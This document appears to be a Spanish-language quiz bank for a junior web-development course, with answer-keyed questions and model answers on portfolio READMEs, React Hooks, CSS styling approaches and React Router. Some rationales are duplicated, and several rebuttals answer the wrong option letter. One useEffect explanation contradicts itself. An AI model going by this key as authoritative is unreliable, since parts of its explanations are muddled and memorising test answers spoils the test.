Por qué: Un proyecto que DESTACA tiene: README profesional con badges, demo en vivo (deploy URL), screenshots, instrucciones claras de instalación (1-2 comandos), descripción del problema que resuelve, y stack técnico. Es la diferencia entre 'un proyecto más' y 'este junior sabe comunicar'. Bonus: tests en verde, GitHub Actions, CONTRIBUTING.md, y una sección 'Lo que aprendí' (humaniza). El código se mira DESPUÉS del README.Detalle: Un proyecto que DESTACA tiene: README profesional con badges, demo en vivo (deploy URL), screenshots, instrucciones claras de instalación (1-2 comandos), descripción del problema que resuelve, y stack técnico. Es la diferencia entre 'un proyecto más' y 'este junior sabe comunicar'. Bonus: tests en verde, GitHub Actions, CONTRIBUTING.md, y una sección 'Lo que aprendí' (humaniza). El código se mira DESPUÉS del README. | a) Solo el código no comunica. | c) Issues abiertos no suman. -
Si un reclutador abre tu proyecto y ve 'npm ERR! missing script: dev', ¿qué indica?
- a) Que tu proyecto es malo.
- b) Que falta el script 'dev' en tu package.json, o que el comando de inicio está mal configurado. Es un error común que indica falta de atención al detalle. ✓ correcta
- c) Que Node está mal instalado.
- d) Que el sistema operativo es incorrecto.
Por qué: El error 'missing script: dev' indica que tu package.json no tiene un script llamado 'dev' en la sección 'scripts', o que estás intentando correr un script que no existe. Causas comunes: (1) escribiste 'npm start' pero tu script se llama 'dev'. (2) borraste el script por error. (3) clonaste el repo y no instalaste dependencias (entonces npm no ve los scripts). Es un error bobo pero que indica falta de atención al setup. La regla: SIEMPRE verifica que 'npm run X' corre localmente ANTES de subir al repo.Detalle: El error 'missing script: dev' indica que tu package.json no tiene un script llamado 'dev' en la sección 'scripts', o que estás intentando correr un script que no existe. Causas comunes: (1) escribiste 'npm start' pero tu script se llama 'dev'. (2) borraste el script por error. (3) clonaste el repo y no instalaste dependencias (entonces npm no ve los scripts). Es un error bobo pero que indica falta de atención al setup. La regla: SIEMPRE verifica que 'npm run X' corre localmente ANTES de subir al repo. | a) No es que sea malo. | c) OS no es la causa.
Preguntas abiertas (3)
-
Explica por qué un proyecto FullStack con backend es MEJOR proyecto de portafolio que uno solo frontend, aunque tome más tiempo. (3 a 5 líneas).
Respuesta modelo: Un proyecto FullStack demuestra que entiendes el SISTEMA COMPLETO: cómo se comunican frontend y backend, cómo se maneja auth, cómo se persiste data, cómo se deploya cada parte por separado. Un junior solo frontend puede hacer UI bonita, pero un junior fullstack entiende cómo se conecta todo, puede debuggear problemas de red, diseñar APIs, y trabajar con cualquier equipo. Es la diferencia entre 'soy diseñador web' y 'soy desarrollador web'. Las empresas junior-friendly valoran fullstack porque eres más versátil: puedes hacer features solos, no necesitas un backend developer para todo. 1 día extra de trabajo multiplica tu empleabilidad por 2.
-
Tu Atlas Mundial PRO funciona en local. Lo deployas a Vercel. La página carga pero no muestra países (consume REST Countries). Da 3 posibles causas y cómo diagnosticar cada una. (3 a 5 líneas).
Respuesta modelo: Causa 1: CORS. REST Countries a veces bloquea requests desde ciertos dominios. Diagnóstico: abre DevTools > Network > busca el fetch, revisa si el status es 0 o hay error CORS. Solución: usa un proxy backend o un dominio verificado. Causa 2: variables de entorno no configuradas. Si tu fetch depende de VITE_API_URL, verifica en Vercel Settings > Environment Variables que esté configurada. Causa 3: API rate limit o caída. Diagnóstico: abre la URL de la API directamente en el navegador. Si devuelve error 429 o 5xx, el problema es de la API. Solución: agrega caché y retry. La regla: 95% de 'funciona local pero no en prod' es variables de entorno, CORS, o rutas absolutas. Verifica SIEMPRE los 3 primero.
-
Estás en una entrevista junior. El reclutador te pregunta 'cuéntame sobre tu proyecto más complejo'. ¿Cómo lo presentarías en 2-3 minutos de forma que destaque? Estructura tu respuesta. (4 a 6 líneas).
Respuesta modelo: Mi respuesta estructurada: (1) PROBLEMA: 'Quería aprender fullstack construyendo algo útil, no solo seguir tutoriales. Decidí crear Atlas Mundial PRO: una app que combina 4 APIs públicas para explorar países con clima, mapa, y datos en tiempo real.' (2) STACK: 'Frontend en React + Vite, backend en Node + Express, DB en Supabase, deploy en Vercel + Railway.' (3) DECISIONES TÉCNICAS CLAVE: 'Usé Atomic Design para escalabilidad, MSW para tests realistas, y GitHub Actions para CI/CD. Una decisión difícil fue usar Supabase vs implementar auth propia: elegí Supabase por seguridad y velocidad.' (4) LOGROS: '78% de coverage, 95+ en Lighthouse, deploy automático, accesible WCAG AA.' (5) APRENDIZAJE: 'Lo más difícil fue manejar 4 APIs con timeouts diferentes. Aprendí a usar Promise.all, debounce, y cancelación de fetches. Lo que cambiaría: agregaría GraphQL en vez de REST.' Es la fórmula: problema + stack + decisiones + métricas + aprendizaje.
Preguntas de opción múltiple (10)
-
¿Cuáles son las 2 reglas de oro de los Hooks?
- a) Solo en componentes de clase y solo arriba.
- b) Solo en el top level (no en if/for) y solo en componentes funcionales u otros Hooks. ✓ correcta
- c) Solo en archivos .js y solo arriba.
- d) No hay reglas.
Por qué: Las 2 reglas: (1) Hooks SOLO en el top level del componente o custom hook. NUNCA dentro de if, for, while, ni funciones anidadas. (2) Hooks SOLO en componentes funcionales de React o en otros custom hooks. NUNCA en funciones normales de JS. Si las rompes, React pierde el orden de los Hooks y todo se rompe.Detalle: Las 2 reglas: (1) Hooks SOLO en el top level del componente o custom hook. NUNCA dentro de if, for, while, ni funciones anidadas. (2) Hooks SOLO en componentes funcionales de React o en otros custom hooks. NUNCA en funciones normales de JS. Si las rompes, React pierde el orden de los Hooks y todo se rompe. | a) No son para componentes de clase, son para funcionales. | c) Sí hay reglas estrictas. -
En useEffect con array [count], ¿cuándo se ejecuta el efecto?
- a) Solo al montar.
- b) En cada render.
- c) Cuando count cambia. ✓ correcta
- d) Nunca.
Por qué: useEffect(fn, [count]) se ejecuta cuando count CAMBIA. No se ejecuta al montar si count no cambia de su valor inicial; en realidad SÍ se ejecuta al montar (la primera vez), y luego cada vez que count cambie. [] = solo al montar. [count] = al montar + cuando count cambia. Sin array = cada render (casi siempre malo).Detalle: useEffect(fn, [count]) se ejecuta cuando count CAMBIA. No se ejecuta al montar si count no cambia de su valor inicial; en realidad SÍ se ejecuta al montar (la primera vez), y luego cada vez que count cambie. [] = solo al montar. [count] = al montar + cuando count cambia. Sin array = cada render (casi siempre malo). | a) Eso sería []. | b) Eso sería sin array. -
¿Cuál es la diferencia entre useState y useRef?
- a) Son lo mismo.
- b) useState causa re-render al cambiar; useRef NO causa re-render (mutación silenciosa de .current). ✓ correcta
- c) useRef es para clases, useState para funciones.
- d) useState es deprecated.
Por qué: useState: al cambiar con el setter, React RE-RENDERIZA el componente. useRef: cambiar .current NO causa re-render. Si la UI debe actualizarse, usa useState. Si solo necesitas el valor sin causar render (focus, scroll, ID de timer), usa useRef. Es el hook de los detalles de bajo nivel.Detalle: useState: al cambiar con el setter, React RE-RENDERIZA el componente. useRef: cambiar .current NO causa re-render. Si la UI debe actualizarse, usa useState. Si solo necesitas el valor sin causar render (focus, scroll, ID de timer), usa useRef. Es el hook de los detalles de bajo nivel. | a) No son lo mismo. | c) useState no está deprecated. -
¿Para qué sirve la función de cleanup en useEffect?
- a) Para borrar el componente.
- b) Para limpiar recursos al desmontar el componente: timers, suscripciones, event listeners, fetches cancelados. ✓ correcta
- c) Para reiniciar el efecto.
- d) Para nada.
Por qué: La función de cleanup se ejecuta cuando el componente se DESMONTA o antes de que el efecto se vuelva a ejecutar. Es para limpiar: clearInterval, removeEventListener, cancelar un fetch con AbortController. Sin cleanup, los timers y listeners se quedan activos, causando memory leaks.Detalle: La función de cleanup se ejecuta cuando el componente se DESMONTA o antes de que el efecto se vuelva a ejecutar. Es para limpiar: clearInterval, removeEventListener, cancelar un fetch con AbortController. Sin cleanup, los timers y listeners se quedan activos, causando memory leaks. | a) No borra el componente. | c) Es FUNDAMENTAL para evitar memory leaks. -
¿Cuándo es apropiado usar useMemo?
- a) Siempre, en cada cálculo.
- b) Solo cuando tienes un cálculo costoso (lista de 1000+ items, operaciones pesadas) o pasas el valor a un componente memoizado. No para todo. ✓ correcta
- c) Nunca.
- d) Solo en useEffect.
Por qué: useMemo es para OPTIMIZACIÓN: memoriza un valor para no recalcularlo en cada render. Solo vale la pena cuando: (1) el cálculo es costoso (filtros sobre 10K items, sort pesado, computación), (2) el valor se pasa a un componente memoizado (React.memo). Para cosas simples, agrega complejidad innecesaria. Regla: primero mide, después optimiza.Detalle: useMemo es para OPTIMIZACIÓN: memoriza un valor para no recalcularlo en cada render. Solo vale la pena cuando: (1) el cálculo es costoso (filtros sobre 10K items, sort pesado, computación), (2) el valor se pasa a un componente memoizado (React.memo). Para cosas simples, agrega complejidad innecesaria. Regla: primero mide, después optimiza. | a) No es para todo, es para optimizaciones específicas. | c) No es exclusivo de useEffect. -
¿Qué es un custom hook?
- a) Un componente de clase.
- b) Una función que empieza con 'use' y puede llamar a otros Hooks, extrayendo lógica reutilizable entre componentes. ✓ correcta
- c) Una palabra reservada de React.
- d) Un tipo de useState.
Por qué: Un custom hook es una función que empieza con 'use' (useFetch, useAuth, useForm) y puede llamar a otros Hooks (useState, useEffect). Sirve para extraer lógica reutilizable entre componentes. Ejemplo: si tienes la misma lógica de fetch en 5 componentes, creas un useFetch. Por convención, 'use' le dice a React que respeta las reglas de Hooks.Detalle: Un custom hook es una función que empieza con 'use' (useFetch, useAuth, useForm) y puede llamar a otros Hooks (useState, useEffect). Sirve para extraer lógica reutilizable entre componentes. Ejemplo: si tienes la misma lógica de fetch en 5 componentes, creas un useFetch. Por convención, 'use' le dice a React que respeta las reglas de Hooks. | a) No es un componente. | c) No es un tipo de useState. -
¿Cuál API de clima es GRATIS y NO requiere API key?
- a) OpenWeatherMap (necesita key).
- b) Open-Meteo (gratis, sin auth). ✓ correcta
- c) AccuWeather (necesita key).
- d) ClimaCell (deprecada).
Por qué: Open-Meteo (https://open-meteo.com/) es 100% gratis y NO requiere API key: solo hacer fetch al endpoint con latitud y longitud. Perfecta para aprender. OpenWeatherMap, AccuWeather, y la mayoría de las demás requieren registrarse y obtener una key. La ventaja de Open-Meteo: empiezas a hacer fetch en 5 minutos, sin papeleo.Detalle: Open-Meteo (https://open-meteo.com/) es 100% gratis y NO requiere API key: solo hacer fetch al endpoint con latitud y longitud. Perfecta para aprender. OpenWeatherMap, AccuWeather, y la mayoría de las demás requieren registrarse y obtener una key. La ventaja de Open-Meteo: empiezas a hacer fetch en 5 minutos, sin papeleo. | a) OpenWeatherMap requiere key (gratis pero con registro). | c) ClimaCell ya no existe. -
¿Por qué useRef.current es MUTABLE mientras useState NO?
- a) Por error.
- b) Por diseño: useRef es para valores que necesitas MUTAR sin causar re-render (timers, contadores internos). useState es para valores que la UI debe OBSERVAR y re-renderizar cuando cambian. ✓ correcta
- c) Por consistencia.
- d) Porque useState es deprecated.
Por qué: useRef.current es mutable por diseño: su propósito es tener una caja que persiste entre renders Y que puedes mutar sin causar re-render. useState es inmutable (no puedes mutar la variable, solo llamar al setter) porque su propósito es que la UI OBSERVE y reaccione al cambio. Son herramientas para problemas DIFERENTES, no para el mismo problema.Detalle: useRef.current es mutable por diseño: su propósito es tener una caja que persiste entre renders Y que puedes mutar sin causar re-render. useState es inmutable (no puedes mutar la variable, solo llamar al setter) porque su propósito es que la UI OBSERVE y reaccione al cambio. Son herramientas para problemas DIFERENTES, no para el mismo problema. | a) No es error, es diseño. | c) useState no está deprecated. -
En un useEffect con [userId, page] como dependencias, ¿cuándo se ejecuta?
- a) Solo al montar.
- b) Al montar Y cada vez que userId o page cambien. ✓ correcta
- c) Solo cuando page cambia.
- d) En cada render.
Por qué: useEffect(fn, [userId, page]) se ejecuta al montar (primera vez) y luego CADA VEZ que userId O page cambien. Es el patrón para re-fetchear datos cuando cambia un parámetro: si el usuario navega a otra página o cambia de id, el efecto se re-ejecuta y trae datos nuevos. Si solo quieres que se ejecute al montar, usa [].Detalle: useEffect(fn, [userId, page]) se ejecuta al montar (primera vez) y luego CADA VEZ que userId O page cambien. Es el patrón para re-fetchear datos cuando cambia un parámetro: si el usuario navega a otra página o cambia de id, el efecto se re-ejecuta y trae datos nuevos. Si solo quieres que se ejecute al montar, usa []. | a) Eso sería []. | c) Eso sería sin array. -
Si olvidas las dependencias en useEffect, ¿qué pasa?
- a) El efecto nunca se ejecuta.
- b) El efecto se ejecuta UNA vez al montar y NUNCA se vuelve a ejecutar aunque cambien las variables. ESLint te avisa con 'missing dependency'. ✓ correcta
- c) El componente se rompe.
- d) React lo optimiza automáticamente.
Por qué: Si tu efecto usa userId pero el array está vacío [], solo se ejecuta al montar. Cuando userId cambie, NO se vuelve a fetchear. Es uno de los bugs más sutiles de React: 'los datos no se actualizan cuando cambio de usuario'. La regla: TODA variable externa va en el array. La regla 'exhaustive-deps' de ESLint te avisa automáticamente.Detalle: Si tu efecto usa userId pero el array está vacío [], solo se ejecuta al montar. Cuando userId cambie, NO se vuelve a fetchear. Es uno de los bugs más sutiles de React: 'los datos no se actualizan cuando cambio de usuario'. La regla: TODA variable externa va en el array. La regla 'exhaustive-deps' de ESLint te avisa automáticamente. | a) Sí se ejecuta al montar. | c) React no optimiza dependencias.
Preguntas abiertas (3)
-
Explica la diferencia entre useState y useRef. Da un ejemplo concreto de cuándo usar cada uno. (3 a 5 líneas).
Respuesta modelo: useState: cuando llamas al setter, React RE-RENDERIZA el componente. Es para datos que la UI debe OBSERVAR y mostrar: contador visible, nombre de usuario, lista de items, etc. useRef.current: cambiar .current NO causa re-render. Es para valores que necesitas MUTAR sin que la UI se actualice: ID de un setInterval, referencia a un input para hacer focus, elemento del DOM para integrarlo con una librería. Ejemplo: el número de clics que se muestra al usuario es useState (queremos que la UI se actualice). El ID del timer para limpiarlo al desmontar es useRef (no necesitamos que la UI vea el ID). Confundirlos es uno de los errores más comunes de los Hooks.
-
Estás construyendo un componente que hace un fetch a la REST Countries API cada vez que el usuario selecciona una región. Explica cómo estructurarías el useEffect. (3 a 5 líneas).
Respuesta modelo: useEffect(() => { let cancelado = false; setCargando(true); setError(null); fetch(`https://restcountries.com/v3.1/region/${region}`).then(r => r.json()).then(data => { if (!cancelado) setPaises(data); }).catch(err => { if (!cancelado) setError(err.message); }).finally(() => { if (!cancelado) setCargando(false); }); return () => { cancelado = true; }; }, [region]); Lo clave: (1) el array de dependencias es [region], así se re-ejecuta cuando cambia; (2) la variable 'cancelado' evita hacer setState si el componente se desmonta o la región cambia antes de que llegue la respuesta; (3) la función de cleanup marca cancelado=true. Es el patrón PROFESIONAL: fetch con dependencias + cancelación. Sin esto, tendrías memory leaks y warnings de React.
-
Tienes la misma lógica de useState + useEffect en 3 componentes (cargan datos de una API). ¿Cómo lo refactorizarías? Da un ejemplo de custom hook. (3 a 5 líneas).
Respuesta modelo: Crearía un custom hook useFetch que encapsule la lógica: function useFetch(url) { const [data, setData] = useState(null); const [cargando, setCargando] = useState(true); const [error, setError] = useState(null); useEffect(() => { fetch(url).then(r => r.json()).then(setData).catch(setError).finally(() => setCargando(false)); }, [url]); return { data, cargando, error }; }. Ahora los 3 componentes lo usan en 2 líneas: const { data, cargando, error } = useFetch('/api/usuarios');. Beneficios: (1) cero duplicación, (2) fácil de mantener (un fix al useFetch arregla los 3 componentes), (3) fácil de testear, (4) el linter entiende que es un hook y aplica las reglas. Es el patrón PROFESIONAL para reutilizar lógica de Hooks entre componentes.
Preguntas de opción múltiple (10)
-
¿Por qué el CSS global no escala en React?
- a) Porque es lento.
- b) Por las colisiones de clases y la cascada: dos componentes con .card se afectan mutuamente, y el orden de carga importa. ✓ correcta
- c) Porque no es válido en HTML5.
- d) No hay problema con CSS global.
Por qué: En CSS global, si dos componentes definen .card, el último gana (cascada). Y el orden de carga importa, lo cual es difícil de razonar. En apps de 50+ componentes, esto es un infierno. Solución: encapsular con CSS Modules, Styled Components, o Tailwind.Detalle: En CSS global, si dos componentes definen .card, el último gana (cascada). Y el orden de carga importa, lo cual es difícil de razonar. En apps de 50+ componentes, esto es un infierno. Solución: encapsular con CSS Modules, Styled Components, o Tailwind. | a) No es por velocidad. | c) Sí hay problemas con CSS global. -
¿Qué es CSS Modules?
- a) Un framework de JavaScript.
- b) Una técnica donde los nombres de clases se 'hashean' automáticamente (.card -> .PaisCard_card__a3f8b9x) para evitar colisiones. Funciona nativamente con Vite. ✓ correcta
- c) Un lenguaje de programación.
- d) Una alternativa a React.
Por qué: CSS Modules es una técnica (no un framework) donde los nombres de clases se hashean automáticamente para evitar colisiones. Tú escribes .card y Vite lo convierte en .PaisCard_card__a3f8b9x. Funciona nativamente con Vite (crea un archivo .module.css y los estilos se encapsulan). Es la solución más simple y estándar.Detalle: CSS Modules es una técnica (no un framework) donde los nombres de clases se hashean automáticamente para evitar colisiones. Tú escribes .card y Vite lo convierte en .PaisCard_card__a3f8b9x. Funciona nativamente con Vite (crea un archivo .module.css y los estilos se encapsulan). Es la solución más simple y estándar. | a) No es un framework de JS. | c) No es alternativa a React. -
¿Cuál es la principal ventaja de Styled Components?
- a) Es más rápido.
- b) Permite CSS dinámico basado en props del componente (variant, size, state) sin cambiar de archivo. Ideal para componentes con muchas variantes. ✓ correcta
- c) Es lo más moderno.
- d) No tiene dependencias.
Por qué: Styled Components lleva el CSS a JavaScript: puedes usar PROPS del componente en los estilos. Ejemplo: background: ${props => props.variant === 'primary' ? 'blue' : 'white'}. Es ideal para componentes con muchas variantes (botones primario/secundario, tamaños sm/md/lg, estados disabled/active). El trade-off: bundle más grande y curva mayor.Detalle: Styled Components lleva el CSS a JavaScript: puedes usar PROPS del componente en los estilos. Ejemplo: background: ${props => props.variant === 'primary' ? 'blue' : 'white'}. Es ideal para componentes con muchas variantes (botones primario/secundario, tamaños sm/md/lg, estados disabled/active). El trade-off: bundle más grande y curva mayor. | a) No es el más rápido. | c) Sí tiene una dependencia. -
¿Cómo funciona Tailwind CSS?
- a) Escribes CSS en archivos .css.
- b) Aplicas utility classes pequeñas directamente en el JSX: <button className='bg-blue-500 text-white p-4 rounded-lg'> sin escribir CSS. ✓ correcta
- c) Es un preprocesador como Sass.
- d) Es un framework de JavaScript.
Por qué: Tailwind es utility-first: en vez de escribir CSS, aplicas clases pequeñas en el JSX. <button className='bg-blue-500 text-white p-4 rounded-lg'> ya tiene estilos. La ventaja: no cambias de archivo, todo en JSX. La desventaja: JSX verboso con muchas clases.Detalle: Tailwind es utility-first: en vez de escribir CSS, aplicas clases pequeñas en el JSX. <button className='bg-blue-500 text-white p-4 rounded-lg'> ya tiene estilos. La ventaja: no cambias de archivo, todo en JSX. La desventaja: JSX verboso con muchas clases. | a) No escribes CSS en .css. | c) No es un framework de JS. -
¿Qué son las custom properties (CSS variables)?
- a) Una nueva versión de CSS.
- b) Variables CSS estándar (--color-primario: #0066ff) que se definen en :root y se usan con var(--color-primario). Permiten design systems y temas dinámicos. ✓ correcta
- c) Una librería externa.
- d) Solo para navegadores nuevos.
Por qué: Las custom properties son variables CSS estándar (--mi-variable: valor) definidas en :root y usadas con var(--mi-variable). Funcionan en todos los navegadores modernos desde 2017. Son la base de los design systems: cambias UNA variable y se actualiza en TODA la app. También permiten tema oscuro/claro dinámico redefiniendo las variables con [data-theme='oscuro'].Detalle: Las custom properties son variables CSS estándar (--mi-variable: valor) definidas en :root y usadas con var(--mi-variable). Funcionan en todos los navegadores modernos desde 2017. Son la base de los design systems: cambias UNA variable y se actualiza en TODA la app. También permiten tema oscuro/claro dinámico redefiniendo las variables con [data-theme='oscuro']. | a) Es CSS estándar, no nueva versión. | c) Funcionan en navegadores modernos. -
¿Cuál es el mejor approach de estilos para un junior que está empezando?
- a) Styled Components (más moderno).
- b) Tailwind CSS: desarrollo rápido, sin cambiar de archivo, gran comunidad y documentación. Ideal para prototipos y apps pequeñas/medianas. ✓ correcta
- c) CSS-in-JS custom.
- d) Inline styles.
Por qué: Para un junior, Tailwind es la mejor opción de inicio: desarrollo RÁPIDO (sin cambiar de archivo), documentación ENORME, comunidad gigante, fácil de debuggear (las clases están en el JSX), y se usa en muchas empresas modernas. Si después prefieres otra técnica, puedes migrar. Styled Components y CSS Modules son válidos pero requieren más setup. Inline styles es el PEOR approach (no soporta pseudo-clases, media queries, etc.).Detalle: Para un junior, Tailwind es la mejor opción de inicio: desarrollo RÁPIDO (sin cambiar de archivo), documentación ENORME, comunidad gigante, fácil de debuggear (las clases están en el JSX), y se usa en muchas empresas modernas. Si después prefieres otra técnica, puedes migrar. Styled Components y CSS Modules son válidos pero requieren más setup. Inline styles es el PEOR approach (no soporta pseudo-clases, media queries, etc.). | a) Styled Components requiere más setup. | c) Inline styles no soporta hover, media queries, etc. -
Si quieres implementar un tema oscuro/claro conmutado por un botón, ¿cuál es la mejor técnica?
- a) Dos archivos CSS: claro.css y oscuro.css, alternas con JS.
- b) Custom properties en :root + [data-theme='oscuro'] en <html>: cambias una clase y TODO el sitio se actualiza. Funciona con cualquier técnica de estilos. ✓ correcta
- c) Imposible sin una librería externa.
- d) Solo en Tailwind v4.
Por qué: Custom properties en :root + redefinirlas en [data-theme='oscuro']: cambias el atributo data-theme en <html> con JavaScript, y TODA la app se actualiza automáticamente. Funciona con CSS Modules, Styled Components, o CSS puro. Es la forma estándar, performante (el navegador maneja las variables nativamente), y no requiere librería externa. Tailwind v3+ también lo soporta con su sistema de dark mode.Detalle: Custom properties en :root + redefinirlas en [data-theme='oscuro']: cambias el atributo data-theme en <html> con JavaScript, y TODA la app se actualiza automáticamente. Funciona con CSS Modules, Styled Components, o CSS puro. Es la forma estándar, performante (el navegador maneja las variables nativamente), y no requiere librería externa. Tailwind v3+ también lo soporta con su sistema de dark mode. | a) Dos archivos es ineficiente. | c) No es exclusivo de Tailwind v4. -
El box-sizing: border-box, ¿qué hace?
- a) Cambia el color del borde.
- b) Hace que el width declarado INCLUYA el padding y el border, evitando el bug clásico de 'mi layout se rompió' (cuando width: 200px + padding: 20px daba 240px de ancho total). ✓ correcta
- c) Es para el modelo de caja de Flexbox.
- d) Es lo mismo que border-box-sizing.
Por qué: box-sizing: border-box hace que el width declarado incluya padding y border. Sin él (content-box, el default), un div con width: 200px + padding: 20px mide 240px de ancho total, rompiendo tu layout. Es el reset obligatorio en TODA app. Tailwind lo incluye automáticamente (preflight). Con CSS Modules, ponlo en tu CSS global: *, *::before, *::after { box-sizing: border-box; }.Detalle: box-sizing: border-box hace que el width declarado incluya padding y border. Sin él (content-box, el default), un div con width: 200px + padding: 20px mide 240px de ancho total, rompiendo tu layout. Es el reset obligatorio en TODA app. Tailwind lo incluye automáticamente (preflight). Con CSS Modules, ponlo en tu CSS global: *, *::before, *::after { box-sizing: border-box; }. | a) No cambia el color. | c) No existe 'border-box-sizing'. -
Si tu equipo de 5 developers necesita consistencia visual y velocidad, ¿cuál técnica recomendarías?
- a) Cada quien usa lo que quiera.
- b) Tailwind CSS: las utility classes son consistentes (siempre bg-blue-500 = el mismo azul), desarrollo rápido, y se puede estandarizar con un tailwind.config.js compartido. ✓ correcta
- c) Inline styles con JSON.
- d) CSS escrito a mano en un solo archivo gigante.
Por qué: Para equipos grandes, Tailwind es la mejor opción: las utility classes son CONSISTENTES (bg-blue-500 significa lo mismo en todos lados), se configuran centralmente (tailwind.config.js con la paleta del equipo), y el desarrollo es rápido. CSS Modules también funciona, pero requiere más convenciones de naming. Inline styles es caos. La elección de equipo es importante: alinea a todos en UNA técnica para evitar el 'wild west' de estilos.Detalle: Para equipos grandes, Tailwind es la mejor opción: las utility classes son CONSISTENTES (bg-blue-500 significa lo mismo en todos lados), se configuran centralmente (tailwind.config.js con la paleta del equipo), y el desarrollo es rápido. CSS Modules también funciona, pero requiere más convenciones de naming. Inline styles es caos. La elección de equipo es importante: alinea a todos en UNA técnica para evitar el 'wild west' de estilos. | a) Sin consistencia, cada quien hace lo que quiere. | c) Un solo archivo CSS global es el problema original. -
¿Por qué Tailwind se volvió tan popular en 2024-2025?
- a) Por moda.
- b) Porque elimina el cambio de archivo (CSS a JSX), tiene una documentación increíble, su sistema de diseño por defecto es excelente, y se integra perfectamente con frameworks como React, Vue, Next.js. Empresas como GitHub, Vercel, y Shopify lo usan en producción. ✓ correcta
- c) Es la única opción.
- d) Es gratis.
Por qué: Tailwind se volvió popular por 4 razones: (1) Velocidad: no cambias de archivo, todo en JSX. (2) Documentación: la mejor de cualquier herramienta CSS. (3) Design system por defecto: colores, espaciados, sombras coherentes. (4) Integración: funciona con React, Vue, Next, Svelte, etc. Empresas como GitHub, Vercel, Shopify lo usan. Es la combinación de 'rápido + mantenible + ecosistema' lo que lo hizo ganar.Detalle: Tailwind se volvió popular por 4 razones: (1) Velocidad: no cambias de archivo, todo en JSX. (2) Documentación: la mejor de cualquier herramienta CSS. (3) Design system por defecto: colores, espaciados, sombras coherentes. (4) Integración: funciona con React, Vue, Next, Svelte, etc. Empresas como GitHub, Vercel, Shopify lo usan. Es la combinación de 'rápido + mantenible + ecosistema' lo que lo hizo ganar. | a) No es solo moda, hay razones técnicas. | c) Hay un plan gratis y uno de pago.
Preguntas abiertas (3)
-
Explica la diferencia entre CSS Modules, Styled Components y Tailwind CSS. ¿Cuándo usarías cada uno? (3 a 5 líneas).
Respuesta modelo: CSS Modules: archivo .module.css separado, encapsulación nativa con hash, escribes CSS normal. Ideal para equipos que quieren CSS simple y estándar. Styled Components: CSS en JS, puedes usar props para estilos dinámicos, ideal para componentes con muchas variantes (botones primary/secondary, tamaños). Tailwind: utility classes en JSX (bg-blue-500 p-4), no escribes CSS, desarrollo rápido, ideal para prototipos y equipos. ¿Cuándo cada uno? CSS Modules: apps grandes con equipo que prefiere CSS clásico. Styled Components: componentes con muchos estados visuales dinámicos. Tailwind: prototipos, apps pequeñas/medianas, equipos que valoran velocidad sobre separación de archivos. Las 3 son válidas: la elección depende del proyecto, el equipo, y los gustos. No hay 'mejor', hay 'mejor para tu caso'.
-
Quieres implementar un tema oscuro/claro conmutable por un botón. Explica cómo lo harías con custom properties de CSS. (3 a 5 líneas).
Respuesta modelo: Paso 1: Define las custom properties en :root para el tema claro: --color-bg: white; --color-text: #222;. Paso 2: Redefine las mismas variables en [data-theme='oscuro']: --color-bg: #1a1a1a; --color-text: #eee;. Paso 3: En el componente, usa las variables: background: var(--color-bg); color: var(--color-text);. Paso 4: En React, usa useState + useEffect para cambiar document.documentElement.dataset.theme = oscuro ? 'oscuro' : 'claro'. Paso 5: Opcional: detectar preferencia del sistema con window.matchMedia('(prefers-color-scheme: dark)').matches al iniciar. Bonus: persistir en localStorage para que la preferencia del usuario se mantenga al recargar. Es la forma estándar, performante, y funciona con cualquier técnica de estilos.
-
Tu app tiene un botón que cambia de color según un prop variant: primary, secondary, danger. Compara cómo lo harías con CSS Modules vs Styled Components vs Tailwind. (3 a 5 líneas).
Respuesta modelo: CSS Modules: defines .primary { background: blue; }, .secondary { background: gray; }, .danger { background: red; } y aplicas la clase según el prop: className={styles[variant]}. Verboso pero estándar. Styled Components: una línea: background: ${props => { primary: 'blue', secondary: 'gray', danger: 'red' }[props.variant]};. Lógica en JS, muy elegante. Tailwind: clases condicionales: className={`px-4 py-2 rounded ${variant === 'primary' ? 'bg-blue-500' : variant === 'secondary' ? 'bg-gray-500' : 'bg-red-500'} text-white`}. JSX verboso pero sin CSS. ¿Cuál elegir? Styled Components es el más elegante para variantes. Tailwind es el más rápido de escribir. CSS Modules el más estándar. Para 3 variantes simples, las 3 funcionan; para 10+ variantes con lógica compleja, Styled Components gana.
Preguntas de opción múltiple (10)
-
¿Por qué necesitas React Router en una SPA?
- a) Es obligatorio para que React funcione.
- b) Para tener URLs que reflejan el estado, que el botón 'Atrás' funcione, y que los links sean compartibles, sin recargar la página. ✓ correcta
- c) Es para SEO.
- d) Es para acceder a internet.
Por qué: React Router agrega URLs a tu SPA: cada vista tiene su URL (/pais/arg), el botón 'Atrás' funciona (vuelve a la vista anterior sin recargar), los links son compartibles (https://mi-app.com/pais/arg se puede enviar a un amigo), y los bookmarks funcionan. Sin React Router, tu 'SPA' es solo un componente suelto sin URLs.Detalle: React Router agrega URLs a tu SPA: cada vista tiene su URL (/pais/arg), el botón 'Atrás' funciona (vuelve a la vista anterior sin recargar), los links son compartibles (https://mi-app.com/pais/arg se puede enviar a un amigo), y los bookmarks funcionan. Sin React Router, tu 'SPA' es solo un componente suelto sin URLs. | a) React funciona sin Router. | c) No es para acceder a internet. -
¿Cuál es la diferencia entre <a href> y <Link to>?
- a) Son lo mismo.
- b) <a href> recarga la página completa (pierde el estado); <Link to> navega sin recargar, manteniendo el estado y la experiencia de SPA. ✓ correcta
- c) <Link to> es para páginas externas, <a href> para internas.
- d) No hay diferencia en React.
Por qué: <a href> causa una recarga completa de la página: pierdes todo el estado, los datos cargados, la posición de scroll. <Link to> de React Router navega SIN recargar, manteniendo el estado. Es la diferencia entre una SPA y un sitio web clásico. <a> para ir a otro sitio web, <Link> para navegar dentro de tu SPA.Detalle: <a href> causa una recarga completa de la página: pierdes todo el estado, los datos cargados, la posición de scroll. <Link to> de React Router navega SIN recargar, manteniendo el estado. Es la diferencia entre una SPA y un sitio web clásico. <a> para ir a otro sitio web, <Link> para navegar dentro de tu SPA. | a) No son lo mismo. | c) La diferencia es CRUCIAL. -
En React Router v6, ¿cómo defines una ruta dinámica con un parámetro?
- a) <Route path='/pais/[id]'>
- b) <Route path='/pais/:id' element={<Detalle/>}> y useParams() en el componente ✓ correcta
- c) <Route path='/pais/{id}'>
- d) <Route path='/pais/id'>
